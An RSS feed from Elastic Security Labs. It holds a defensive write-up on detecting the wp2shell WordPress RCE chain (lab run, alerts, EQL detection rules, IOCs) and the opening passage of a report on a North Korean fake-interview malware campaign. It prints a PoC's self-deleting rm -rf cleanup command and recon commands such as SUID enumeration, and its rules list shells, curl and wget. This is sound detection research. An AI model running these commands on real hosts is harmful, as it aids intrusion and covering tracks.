<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs</title>
        <link>https://www.elastic.co/kr/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Wed, 22 Jul 2026 20:42:56 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs</title>
            <url>https://www.elastic.co/kr/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/kr/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[wp2shell hits WordPress: detecting pre-auth RCE from plugin drop to command execution]]></title>
            <link>https://www.elastic.co/kr/security-labs/wp2shell-wordpress-rce-detection-elastic-defend</link>
            <guid>wp2shell-wordpress-rce-detection-elastic-defend</guid>
            <pubDate>Thu, 23 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[We ran the wp2shell WordPress RCE chain end-to-end with Elastic Defend. Detection rule walkthrough, IOCs, and hunt guidance.]]></description>
            <content:encoded><![CDATA[<p>On July 17, 2026, <a href="https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core">Searchlight Cyber</a> disclosed <code>wp2shell</code>, a pre-authentication remote code execution chain in WordPress Core (<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-63030">CVE-2026-63030</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-60137">CVE-2026-60137</a>). Proof-of-concept tools hit GitHub within hours. <a href="https://x.com/hash_kitten">hashkitten</a> published the chain after PoCs started circulating, including a write-up of <a href="https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/">how the bug was found</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/wp2shell-wordpress-rce-detection-elastic-defend/image6.png" alt="Tweet from hashkitten announcing the Searchlight Cyber wp2shell research" title="Tweet from hashkitten announcing the Searchlight Cyber wp2shell research methodology and exploit chain blog post, July 2026" /></p>
<p>Scanning followed immediately, and we are already seeing the same host footprint in customer telemetry: PHP and web server runtimes spawning shells, plugin directories appearing under <code>wp-content/plugins/</code>, and access-log markers from stock tooling.</p>
<p>This post is the defender-facing follow-up. We ran the public <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> end-to-end in a lab with Elastic Defend, traced the attack chain in Kibana, and mapped each stage to the rules that fire. If you are patching and triaging right now, that rule walkthrough is the core of the post. We close with IOCs for quick hunts.</p>
<p>This post covers:</p>
<ul>
<li>What wp2shell is, which versions are exposed, and where to read the full technical breakdown.</li>
<li>The PoC wave and what live telemetry looks like.</li>
<li>An end-to-end lab run: PoC execution, the attack chain on disk, and each detection rule that triggers (and why).</li>
<li>Network and host IOCs to hunt while public tooling is still unchanged.</li>
</ul>
<p>Patch to 7.0.2 or 6.9.5 first. Check exposure at <a href="https://wp2shell.com/">wp2shell.com</a> and treat any internet-facing vulnerable instance as potentially compromised until patched.</p>
<h2>Scope: public PoCs and observed Linux host behavior</h2>
<p>This post follows publicly available PoCs and the behaviors they produce on a Linux host, in conjunction with telemetry we have observed. Attackers can rename plugins, rewrite payloads, or drop webshells outside the plugin directory (for example, under <code>wp-content/cache/</code>, as <a href="https://isc.sans.edu/forums/diary/WordPress+Exploitation+Underway+CVE202663030/33168/">SANS ISC</a> documented). Hunt the IOCs while they are fresh, but rely on behavioral detection for durability.</p>
<h2>What is wp2shell</h2>
<p><code>wp2shell</code> is a pre-authentication exploit chain against WordPress Core's REST <code>batch</code> endpoint (<code>/wp-json/batch/v1</code>, or <code>/?rest_route=/batch/v1</code>). No plugins required.</p>
<table>
<thead>
<tr>
<th align="left">WordPress branch</th>
<th align="left">Exposure</th>
<th align="left">Fixed in</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>&lt;= 6.8.5</code></td>
<td align="left">Not affected by the full RCE chain</td>
<td align="left">n/a</td>
</tr>
<tr>
<td align="left"><code>6.8.0</code> to <code>6.8.5</code></td>
<td align="left">SQL injection only (no full RCE chain on this branch)</td>
<td align="left">Patch to a non-vulnerable release (6.8.6)</td>
</tr>
<tr>
<td align="left"><code>6.8.6</code></td>
<td align="left">Patched / Not vulnerable (SQL injection fixed)</td>
<td align="left">Included in 6.8.6</td>
</tr>
<tr>
<td align="left"><code>6.9.0</code> to <code>6.9.4</code></td>
<td align="left">Full pre-auth RCE chain</td>
<td align="left">6.9.5</td>
</tr>
<tr>
<td align="left"><code>7.0.0</code> to <code>7.0.1</code></td>
<td align="left">Full pre-auth RCE chain</td>
<td align="left">7.0.2</td>
</tr>
</tbody>
</table>
<p>The bug is a route confusion in WordPress batch handling. When sub-requests inside a batch call get out of sync, a request can be dispatched under the wrong REST handler. Public chains nest batches to bypass method restrictions, then reach a pre-auth SQL injection primitive through query parameters that should not apply on the route they land on.</p>
<p>From there, tooling differs: the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> escalates through a SQLi-to-administrator bridge and plugin upload; other actors drop a webshell straight to disk via SQL <code>INTO OUTFILE</code>. Both end the same way for defenders: attacker-controlled PHP on the host, then command execution through the web stack.</p>
<p>That is the short version. For the full chain, read <a href="https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core">Searchlight Cyber's advisory</a>, their <a href="https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/">methodology write-up</a>, and the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC README</a>. <a href="https://isc.sans.edu/forums/diary/WordPress+Exploitation+Underway+CVE202663030/33168/">SANS ISC</a> captured an in-the-wild SQLi payload if you want raw HTTP context.</p>
<p>The activity maps to <a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application (T1190)</a>, <a href="https://attack.mitre.org/techniques/T1505/003/">Server Software Component: Web Shell (T1505.003)</a>, and <a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter (T1059)</a>.</p>
<h2>wp2shell PoCs and what we're seeing in telemetry</h2>
<p>Representative public repos appeared within hours of disclosure:</p>
<ul>
<li><a href="https://github.com/Icex0/wp2shell-poc">Icex0/wp2shell-poc</a></li>
<li><a href="https://github.com/0xsha/wp2shell">0xsha/wp2shell</a></li>
<li><a href="https://github.com/sergiointel/wp2shell-poc">sergiointel/wp2shell-poc</a></li>
<li><a href="https://github.com/dinosn/wp2shell-lab">dinosn/wp2shell-lab</a></li>
</ul>
<p>Most drive the same batch entry point. Honeypots and telemetry show a mix of vulnerability scanning and full exploitation. On hosts with Elastic Defend, the post-exploitation picture is consistent:</p>
<ul>
<li><code>httpd</code>, <code>apache2</code>, or <code>php-fpm</code> spawning a shell and running short discovery commands (<code>sh -c id</code> is a common first confirmation).</li>
<li>New paths under <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code> when the plugin-upload chain is used unchanged.</li>
<li>Access-log markers such as <code>POST /?rest_route=/batch/v1</code> with <code>User-Agent: wp2shell</code> on stock PoCs.</li>
</ul>
<p>That web-server-to-shell relationship is the durable detection opportunity. PoC-specific strings help for triage, not for long-term coverage.</p>
<h2>wp2shell lab walkthrough: from PoC execution to Elastic alerts</h2>
<p>The <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> drives the batch SQLi-to-administrator bridge, uploads a plugin-backed webshell, and executes commands through it. Each <code>shell</code> invocation generates a fresh random plugin name (<code>wp2shell_&lt;hex&gt;</code>), so repeated runs produce multiple plugin directories on the same host. That is what you see in the figures: one run may reference <code>wp2shell_6a5566a6</code>, another <code>wp2shell_79b06a80</code> or <code>wp2shell_360866a8</code>. The hex suffix is a fragile IOC; the parent process and command patterns are not.</p>
<p>Every successful run follows the same skeleton:</p>
<ol>
<li><strong>Staging:</strong> <code>apache2</code> (or another technology) writing plugin files</li>
<li><strong>Execution:</strong> <code>apache2</code> (or another technology) spawning a shell from the plugin working directory.</li>
</ol>
<p>Elastic Defend records both, and the SIEM rules stack on top as commands execute.</p>
<h3>wp2shell staging: plugin upload file events on disk</h3>
<p>Before any shell alert fires, the file timeline tells the story. The staging sequence is consistent across runs:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/wp2shell-wordpress-rce-detection-elastic-defend/image2.png" alt="wp2shell file events staged by apache2 during plugin upload" title="Kibana file event table showing apache2 staging wp2shell plugin files including temp-write-test probes and zip upload" /></p>
<p>In the figure above, we can see the following sequence of events:</p>
<ol>
<li><strong>Write probes:</strong> <code>apache2</code> creates and deletes <code>temp-write-test-*</code> files under <code>wp-content/</code> to confirm the directory is writable.</li>
<li><strong>Upload staging:</strong> A zip lands under <code>wp-content/uploads/</code> (for example <code>wp2shell_6a5566a6.zip</code>), with a temporary PHP upload file under <code>/tmp/</code>.</li>
<li><strong>Unpack:</strong> PHP is written under <code>wp-content/upgrade/wp2shell_&lt;hex&gt;/.../wp2shell_&lt;hex&gt;.php</code>.</li>
<li><strong>Install:</strong> The plugin directory is renamed into <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code>.</li>
</ol>
<p>All of this is <code>apache2</code> acting as the file writer, which is normal for a WordPress plugin upload but abnormal at this volume and with these filenames on a production site.</p>
<h3>Alert overview: what fired during wp2shell exploitation</h3>
<p>Running the PoC end-to-end on <code>wp2shell-lab</code> produced 12 alerts, all as <code>www-data</code> on the same host:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/wp2shell-wordpress-rce-detection-elastic-defend/image5.png" alt="wp2shell alert overview after end-to-end PoC run" title="Elastic Security alerts dashboard showing 12 wp2shell alerts across four rules with severity breakdown and alert table" /></p>
<p>The alerts cover backdoor upload and the execution of suspicious and unusual commands. These rules are discussed below.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> (EDR)</li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a> (SIEM)</li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a> (SIEM)</li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a> (SIEM)</li>
</ul>
<p>The alert table ties file paths to process activity. The two file-creation alerts reference plugin directories such as <code>wp-content/plugins/wp2shell_79b06a80</code> and <code>wp2shell_360866a8</code>. The command-execution alerts show <code>/usr/sbin/apache2</code> as the parent and <code>/usr/bin/dash</code> running <code>sh -c -- id</code>, <code>whoami</code>, and <code>hostname</code> from those same plugin paths. File creation fires on the drop; endpoint prevention fires when the shell runs; SIEM rules accumulate as each command executes.</p>
<h3>Process lineage: apache2 spawning a shell in the analyzer graph</h3>
<p>The Elastic analyzer graph makes the <code>wp2shell</code> web-server-to-shell transition visible in one view:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/wp2shell-wordpress-rce-detection-elastic-defend/image3.png" alt="wp2shell process analyzer graph showing apache2 spawning dash" title="Elastic analyzer graph showing wp2shell process chain: systemd to apache2 to dash, with dash terminated by prevention" /></p>
<p>The chain is <code>systemd</code> → <code>apache2</code> → <code>apache2</code> → <code>dash</code> → <code>hostname</code>. The <code>apache2</code> worker node shows the preceding file and network activity (8 file events, 7 network events in this session). The <code>dash</code> node is flagged as an analyzed event with 3 alerts attached and the process terminated by prevention. That is <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> doing its job: stopping the shell the moment <code>apache2</code> crosses from serving HTTP to running a payload.</p>
<h3>What commands does the wp2shell PoC run after exploitation?</h3>
<p>Expanding the process and file event table shows everything the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> ran on the host, not just the first three discovery commands:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/wp2shell-wordpress-rce-detection-elastic-defend/image4.png" alt="wp2shell full process and file event overview from lab execution" title="Kibana process and file event table showing wp2shell post-exploitation commands including cleanup script, uname, cat /etc/passwd, and SUID find" /></p>
<p>From <code>process.working_directory</code> set to <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code>, <code>apache2</code> spawns <code>dash</code> with <code>sh -c -- id; whoami; hostname</code>. Each command runs as a child (<code>id</code>, <code>whoami</code>, <code>hostname</code>) under the web server parent. That is the pattern we see in telemetry and in the alert overview above. The attacker can of course choose what commands to run here.</p>
<p>The <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> removes its own plugin after execution:</p>
<pre><code>sh -c -- d=$(pwd); case &quot;$d&quot; in */wp-content/plugins/*) cd / &amp;&amp; rm -rf &quot;$d&quot;;; esac
</code></pre>
<p>That deletes the plugin directory and the staged zip. Responders should not treat a missing <code>wp2shell_*</code> folder as evidence the host is clean if process alerts already fired.</p>
<h3>Attack discovery: correlating 25 wp2shell alerts into one incident</h3>
<p>When you pivot from individual alerts to Attack discovery, the narrative pulls the session together. After multiple PoC runs and the extended recon pass, Elastic grouped 25 alerts on <code>wp2shell-lab</code> into a single incident:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/wp2shell-wordpress-rce-detection-elastic-defend/image1.png" alt="wp2shell Attack discovery incident on wp2shell-lab" title="Elastic Attack discovery correlating 25 wp2shell alerts into one incident with MITRE ATT&amp;CK timeline on wp2shell-lab" /></p>
<p>Attack discovery summarizes the arc:</p>
<ol>
<li><strong>Initial access:</strong> <code>wp2shell</code> exploitation via the batch API. <code>apache2</code> creates multiple plugin directories under <code>wp-content/plugins/</code> (<code>wp2shell_78b05e60</code>, <code>wp2shell_369fdaf8</code>, and others across repeated runs).</li>
<li><strong>Execution:</strong> <code>apache2</code> spawns <code>dash</code>; prevention alerts fire on shell execution. The PoC runs discovery commands and attempts self-cleanup.</li>
<li><strong>Persistence:</strong> Additional plugin drops from repeated <code>shell</code> invocations (<code>wp2shell_4014c5b3</code>, <code>wp2shell_e358ff3b</code>, <code>wp2shell_8a5566a0</code>, and more).</li>
<li><strong>Discovery and privilege escalation:</strong> From a fresh webshell, reconnaissance commands including SUID enumeration (<code>find / -perm -u=s -type f</code>). This is where the extended lab pass adds alert volume beyond the initial <code>id</code>/<code>whoami</code>/<code>hostname</code> trio.</li>
</ol>
<p>This demonstrates why we detect the behavior rather than the plugin name.</p>
<h3>PHP File Creation in WordPress Plugin Directory</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a> fired several times in our primary run, on paths such as <code>wp-content/plugins/wp2shell_79b06a80</code> and <code>wp2shell_360866a8</code>. The rule keys on Elastic Defend file events where a web-related process creates PHP under a WordPress plugin path:</p>
<pre><code class="language-sql">file where event.type in (&quot;creation&quot;, &quot;change&quot;) and (
  process.name in (
    &quot;nginx&quot;, &quot;apache2&quot;, &quot;httpd&quot;, &quot;php-cgi&quot;, &quot;php-fcgi&quot;,
    &quot;php-cgi.cagefs&quot;,  &quot;sw-engine-fpm&quot;,
    &quot;wget&quot;, &quot;curl&quot;, &quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;,
    &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;mksh&quot;, &quot;busybox&quot;
  ) or
  process.name like (&quot;php-fpm*&quot;, &quot;lsphp*&quot;, &quot;*.cgi&quot;, &quot;*.fcgi&quot;)
) and
file.path like~ &quot;*/wp-content/plugins/*&quot;
</code></pre>
<p>It is the earliest structured signal in the alert set: the drop lands before the shell executes. The rule ships with a direct reference to the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a>. It is scoped to <code>plugins/</code> only and will not catch the SANS-documented <code>INTO OUTFILE</code> variant under <code>wp-content/cache/</code>, which is why the shell-spawn rules below matter as a second layer.</p>
<h3>Payload Execution by Web Server</h3>
<p><a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> is the Elastic Defend behavioral rule behind the two critical alerts in the overview. It matched when <code>/usr/sbin/apache2</code> spawned <code>/usr/bin/dash</code> to run suspicious commands. The rule treats web server parents (<code>apache2</code>, <code>httpd</code>, <code>nginx</code>, <code>php-fpm*</code>, and others) launching a shell with high-risk command lines as payload execution. To avoid filling the whole blog with EQL queries, a snippet is displayed below:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  process.parent.name in (
    &quot;nginx&quot;, &quot;apache2&quot;, &quot;httpd&quot;, &quot;caddy&quot;, &quot;mongrel_rails&quot;, &quot;uwsgi&quot;, &quot;daphne&quot;,
    &quot;httpd.worker&quot;, &quot;flask&quot;, &quot;php-cgi&quot;, &quot;php-fcgi&quot;, &quot;php-cgi.cagefs&quot;, 
    &quot;lswsctrl&quot;, &quot;varnishd&quot;, &quot;uvicorn&quot;, &quot;waitress-serve&quot;, &quot;starman&quot;,
    &quot;frankenphp&quot;, &quot;zabbix_server&quot;, &quot;asterisk&quot;, &quot;sw-engine-fpm&quot;
  ) or
  process.parent.name like (&quot;php-fpm*&quot;, &quot;gunicorn*&quot;, &quot;*.cgi&quot;, &quot;*.fcgi&quot;) or
  [...]
  [Additional web server technologies]
  [...]
) and
process.name in (
  &quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;busybox&quot;
) and
process.args in (&quot;-c&quot;, &quot;-cl&quot;, &quot;-lc&quot;) and
process.command_line like~ (
  [...]
  [Suspicious command lines]
  [...]
)
</code></pre>
<p>Discovery commands are explicitly in scope, alongside decoding pipelines, reverse shells, credential paths, and more. The full rule logic can be found <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">here</a>. Where prevention is enabled, the rule terminates the process via <code>kill_process</code>, which is why the analyzer graph shows <code>dash</code> as a terminated analyzed event. This is the tightest endpoint signal for &quot;web RCE just succeeded.&quot;</p>
<h3>Suspicious Command Execution via Web Server</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a> produced three alerts on the initial discovery commands and additional matches when we ran the extended recon pass. This rule is very similar to the previous rule, but does not have preventive actions, and therefore has fewer exclusions baked in, decreasing the risk of introducing false negatives.</p>
<h3>Unusual Command Execution via Web Server</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a> is a new terms rule: it uses statistics to understand which shell command lines each web-server parent normally runs on a host, then alerts on lines that break the baseline. It produced five alerts in our primary run, the highest count in the set.</p>
<p>Generally, a PoC invocation introduces command lines the host has never seen: compound discovery strings, recon one-liners with <code>uname</code> and <code>find</code>, and cleanup scripts that reference <code>wp-content/plugins/</code>. The rule casts a wider net than “Suspicious Command Execution”. When both fire on the same host within the same session, treat the cluster as high confidence.</p>
<h3>Suspicious and Unusual Child Execution via Web Server</h3>
<p>Two related SIEM rules cover cases where the web stack spawns non-shell children (interpreters, downloaders, reverse-shell helpers):</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml">Unusual Child Execution via Web Server</a></li>
</ul>
<p>They did not appear in the 12-alert overview because the Icex0 chain goes through <code>dash</code> and standard discovery binaries, which the command-execution rules already cover. They still belong in the same rule set on WordPress hosts: modified exploits that invoke <code>curl | bash</code>, <code>python -c</code>, or a reverse shell without passing through the discovery shortlist will land here instead.</p>
<h3>Payload Downloaded via Curl or Wget by Web Server</h3>
<p>Another rule worth mentioning is <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_downloaded_via_curl_or_wget_by_web_server.toml">Payload Downloaded via Curl or Wget by Web Server</a>. This is an EDR rule (with killing actions) that detects <code>wget</code>/<code>curl</code> invocations via a <code>sh -c</code> sequence, from web server parents. This is a common technique to download additional tooling once RCE was achieved on a host. Although it did not fire on the PoC, it may fire in a real attack.</p>
<h3>Which Elastic rules should I enable for wp2shell?</h3>
<p>Enable these pre-built Linux rules on WordPress hosts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml">Unusual Child Execution via Web Server</a></li>
</ul>
<p>Several building block rules are triggering on certain activity from the attack chain, ranging from file creation to reconnaissance commands, and are listed below:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/persistence_web_server_sus_file_creation.toml">Unusual File Creation by Web Server</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e45a6518f6478eb91623feb1cfac63e4e2f01fd3/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e45a6518f6478eb91623feb1cfac63e4e2f01fd3/rules_building_block/discovery_linux_system_owner_user_discovery.toml">System Owner/User Discovery Linux</a></li>
</ul>
<p>Deploy Elastic Defend with prevention enabled on hosts that run WordPress. If your web stack uses a parent process not in the current lists, let us know so we can extend scope.</p>
<h2>Hunting queries</h2>
<p>Use these for quick hunts while tooling is still stock. Treat them as fragile: rename the plugin slug or change the User-Agent and most of them disappear. Behavioral rules above are the durable layer.</p>
<h3>wp2shell network and access log indicators</h3>
<ul>
<li><code>POST /?rest_route=/batch/v1</code> or <code>POST /wp-json/batch/v1</code> with a nested JSON <code>requests</code> array.</li>
<li><code>User-Agent: wp2shell</code>, <code>User-Agent: cve-2026-63030/1.0</code>, or <code>User-Agent: rezwp2shell</code> on batch traffic.</li>
<li>HTTP 207 Multi-Status responses on batch requests (supporting evidence, not standalone).</li>
<li>Follow-on requests to <code>/wp-admin/plugin-install.php</code>, <code>/wp-admin/update.php?action=upload-plugin</code>, or <code>/wp-json/wp/v2/users?context=edit</code>.</li>
</ul>
<h3>wp2shell host artifacts</h3>
<ul>
<li>Directories matching <code>wp2shell_&lt;hex&gt;</code> under <code>wp-content/plugins/</code>.</li>
<li>New or modified <code>.php</code> under <code>wp-content/plugins/</code> or <code>wp-content/cache/</code>.</li>
<li>Write-test files <code>temp-write-test-*</code> under <code>wp-content/</code> (seen in our lab run and in staging behavior).</li>
<li>Unexpected WordPress administrator accounts created during the exploitation window.</li>
<li>PHP webshell hashes published in open research (supplemental; prioritize process and file telemetry).</li>
</ul>
<h3>How to block wp2shell if you can't patch immediately</h3>
<p>If you cannot patch immediately, block anonymous access to <code>/wp-json/batch/v1</code> and <code>/?rest_route=/batch/v1</code> at the edge, or disable anonymous REST access via a hardening plugin. Expect breakage of legitimate batch consumers; use only as a temporary measure until 7.0.2 or 6.9.5 is deployed.</p>
<h2>wp2shell detection: patch first, then verify your coverage</h2>
<p><code>wp2shell</code> turns a REST batch parsing bug into pre-authenticated code execution on default WordPress installs. Public PoCs spread fast, and the host footprint is predictable: plugin files staged under <code>wp-content/</code>, then a web server parent spawning a shell that runs a malicious command.</p>
<p>We ran the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 chain</a> end-to-end in a lab and watched the detections line up with that sequence. PHP File Creation in WordPress Plugin Directory catches the drop. Payload Execution by Web Server fires first on the endpoint when <code>apache2</code> runs the payload. Suspicious and Unusual Command Execution via Web Server adds SIEM depth on the same shell activity. Additional rules are in place to detect real-world activity beyond the PoC. Patch first, hunt the IOCs while they last, and lean on that behavioral stack for coverage that survives PoC renames.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/wp2shell-wordpress-rce-detection-elastic-defend/wp2shell-wordpress-rce-detection-elastic-defend.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[New North Korean campaign uses fake coding interviews to steal developer credentials]]></title>
            <link>https://www.elastic.co/kr/security-labs/contagious-interview-malware-svg-steganography</link>
            <guid>contagious-interview-malware-svg-steganography</guid>
            <pubDate>Sat, 18 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[DPRK-aligned hackers hid malware inside SVG flag images to backdoor developer job interview coding tests. Not one antivirus vendor caught it.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security Labs found a new <a href="https://attack.mitre.org/groups/G1052/">Contagious Interview</a> campaign, tracked as REF9403, hiding malware inside SVG image files using steganography. To our knowledge, this specific infection chain has not been previously documented. We found it after the DPRK-aligned group targeted our own community Slack workspace with a fake job posting and a &quot;coding challenge&quot; project.</p>
<p>Any user who ran the project ended up with a four-stage payload aligned with OTTERCOOKIE: a browser credential and crypto wallet stealer, a file stealer, a Socket.IO-based remote access trojan (RAT), and a clipboard stealer. This campaign reinforces that developers remain a prime target, where the compromise of a single individual can provide the initial access needed to enable far-reaching supply chain attacks against downstream organizations.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs discovers new activity aligned with Contagious Interview targeting developers</li>
<li>Campaigns involve coding challenges and take-home assignments with benign-looking projects containing malicious backdoored code</li>
<li>Projects hide payloads with steganography in SVG image files</li>
<li>The distributed malware shares technical and behavioral similarities with OTTERCOOKIE</li>
</ul>
<h2>How Elastic discovered this malware campaign</h2>
<p>This investigation started differently from most of our previous research. Instead of using telemetry to surface interesting threats, we were alerted to suspicious activity targeting members of our community Slack workspace with socially engineered, ad hoc job offers. For background, we use the community Slack platform to engage with and solve problems for our users, focusing on providing product support and syncing on new updates.</p>
<p>We’ve reported on this <a href="https://www.elastic.co/kr/security-labs/elastic-catches-dprk-passing-out-kandykorn">technique</a> <a href="https://www.elastic.co/kr/security-labs/dprk-code-of-conduct">several</a> <a href="https://www.elastic.co/kr/security-labs/bit-bybit">times</a>: threat actors targeting developers in open forums with lures of coding side-work. The lucrative offers lead to the requirement to load specific libraries, tools, scripts, etc., into the code the developer is crafting. These components are created by the threat actors and once they’re executed by the developers, they are able to load additional malware and gain remote access to the developer host. From there, the threat actors can steal credentials, keys, wallets, or use the access to gain access to additional systems. We did not find evidence that the lures were targeted at Elastic users specifically, but any open forum where developers congregate is a potential watering hole.</p>
<p>On May 26, 2026, a user named <code>Maxwell</code> posted in our <code>#jobs</code> channel, stating that they were upgrading an e-commerce platform and were looking for an experienced developer to help with the project. They strategically moved their interactions with interested users into direct messages (DM).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image3.png" alt="Slack thread with fake job posting" title="Fake recruiter Maxwell uses a Slack job posting to lure developers into a Contagious Interview malware trap" /></p>
<p>In these direct messages, <code>Maxwell</code> requested that users perform a test challenge as part of the job offer. These recipients were given a trojanized repository that, when executed, contained malware that exfiltrated sensitive files and credentials and configured a Socket.IO backdoor.</p>
<p>Building on this initial case, we found multiple campaigns exhibiting the same underlying behavior. These trojanized repositories at the time of writing have zero detections and are not flagged by any AV vendors:</p>
<ul>
<li><code>next-ecommerce-private-main.zip</code></li>
<li><code>shopping-platform-main.zip</code></li>
<li><code>ecommerce-platform.zip</code></li>
<li><code>ecommerce-platform-main.zip</code></li>
<li><code>shopping-platform.rar</code></li>
<li><code>shop-main.zip</code></li>
<li><code>ecommerce-main.zip</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image8.png" alt="VirusTotal listing of trojanized repositories " title="Contagious Interview malware samples show zero antivirus detections across seven trojanized repositories on VirusTotal" /></p>
<p>These fake challenges operate similarly, containing fully functional code. Our first sample was a <a href="https://nextjs.org/">Next.js</a> e-commerce template that was copied from <a href="https://github.com/GreatStackDev">GreatStackDev</a> called <a href="https://github.com/GreatStackDev/gocart">GoCart</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image14.png" alt="GoCart Frontend" title="GoCart e-commerce template that Contagious Interview malware trojanized to deliver OTTERCOOKIE" /></p>
<p>The threat actors tampered with this repository by inserting small snippets of malicious code at various points and using benign variable names to hide their intent. One of the major contributors to this scheme was their use of steganography in SVG images to hide chunks of the malware. While these legitimate-looking projects run perfectly fine, the malicious code is triggered silently behind-the-scenes.</p>
